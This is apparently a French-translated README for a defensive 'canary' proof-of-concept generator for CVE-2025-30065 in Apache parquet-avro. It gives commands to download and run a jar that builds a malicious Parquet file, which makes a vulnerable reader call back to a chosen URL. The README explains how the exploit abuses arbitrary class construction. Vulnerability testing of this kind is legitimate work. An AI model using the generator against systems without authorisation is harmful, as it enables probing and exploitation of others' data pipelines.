
Génère des fichiers Apache Parquet malveillants pour tester la vulnérabilité CVE-2025-30065 RCE via un callback SSRF. Conçu pour les tests de sécurité autorisés des systèmes de traitement Parquet-avro.
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
Le minimum vital (ignorez les instructions du README à vos risques et périls) :
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Les responsables de la conformité ? Les gens de la sécurité applicative ? Les responsables de la gestion des vulnérabilités ? F5 Labs a créé ceci pour vous. Cette CVE a un score CVSS de 10, ce qui signifie généralement que des délais serrés sont nécessaires. Nous avons regroupé l'outil sous forme de fichier jar qui peut vous générer un fichier parquet. Vous pouvez le fournir à vos propres systèmes pour déterminer s'ils sont vulnérables - ce qui est utile à la fois avant et après le correctif.
Le crédit pour les internes de ce PoC revient à Mouad Kondah. Leur article daté du 2025-04-07 discute de cette CVE et de leurs PoCs.
Le fichier parquet abuse du comportement dans parquet-avro qui permet de passer une String Java non fiable à un constructeur de classe Java arbitraire. Vous fournissez l'URL de rappel, et lorsque votre système lit le fichier parquet, cela entraînera la tentative d'un objet javax.swing.JEditorPane d'atteindre cette URL. C'est bénin.
Vous voulez un rapide récapitulatif de l'outil canary exploit ? Regardez ce YouTube Short de deux minutes pour une démonstration en direct : [vidéo de démonstration].
Notez qu'il existe deux scénarios de vulnérabilité que F5 Labs connaît pour le module parquet-avro :
String en types alternatifs.org.apache.parquet.avro.SERIALIZABLE_PACKAGES a été défini sur quelque chose de permissif, par exemple *.Vous pouvez utiliser ceci avec tout ce à quoi votre système peut accéder en sortie (DNS et/ou HTTP(S)). Si vous n'avez aucun accès sortant de quelque type que ce soit vers l'internet général, alors considérez tout ce qui est accessible au sein de votre centre de données pour lequel vous pouvez obtenir des journaux d'accès DNS ou HTTP. Soyez averti que se tromper à ce sujet entraînera un faux négatif. Des paramètres très irréguliers pour org.apache.parquet.avro.SERIALIZABLE_PACKAGES pourraient également conduire à un faux négatif, voir la sous-section précédente.
Vous êtes encouragés à lire et comprendre le code et à le construire vous-mêmes. Nous fournissons la version distribuée du code sous forme de jar dans ce dépôt pour votre commodité.
Vous aurez besoin de JDK 21 ou ultérieur pour construire ou exécuter le générateur (des termes de recherche comme "installation OpenJDK21" peuvent aider ici). Si vous êtes familier avec l'installation du JDK, voici des raccourcis :
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkVous pouvez soit télécharger le jar, soit cloner le dépôt.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
Résultat attendu :
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
Résultat attendu :

D'abord, déterminez ce que vous voulez que YOUR_CALLBACK_URL soit. Vous devez être capable de détecter quand votre backend de traitement parquet résout le nom de domaine de l'URL ou demande l'URL au serveur web. Vous pouvez envisager canarytokens.org "Web bug" ou "DNS" pour cela. Voir la section Pièges ci-dessus pour les détails.
Exécutez cette commande :
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Cela générera poc.parquet. Vérifiez comme suit :
file poc.parquet
Cela devrait afficher :
poc.parquet: Apache Parquet
Ce fichier peut maintenant être fourni à votre système. Si votre système est vulnérable, vous recevrez un rappel. Voir aussi la section Pièges.
Par commodité, cela générera également le fichier s'il n'existe pas déjà.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
Voir CanaryExploitGenerator.testParquetFile() pour savoir comment le fichier parquet est lu. Voici à quoi ressemblera le code dans les profondeurs de votre système :
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
Cet outil est destiné à être utilisé uniquement dans le cadre de tests de sécurité autorisés. Connaissez les lois de la ou des juridictions applicables. Voir LICENSE.md pour les détails légaux.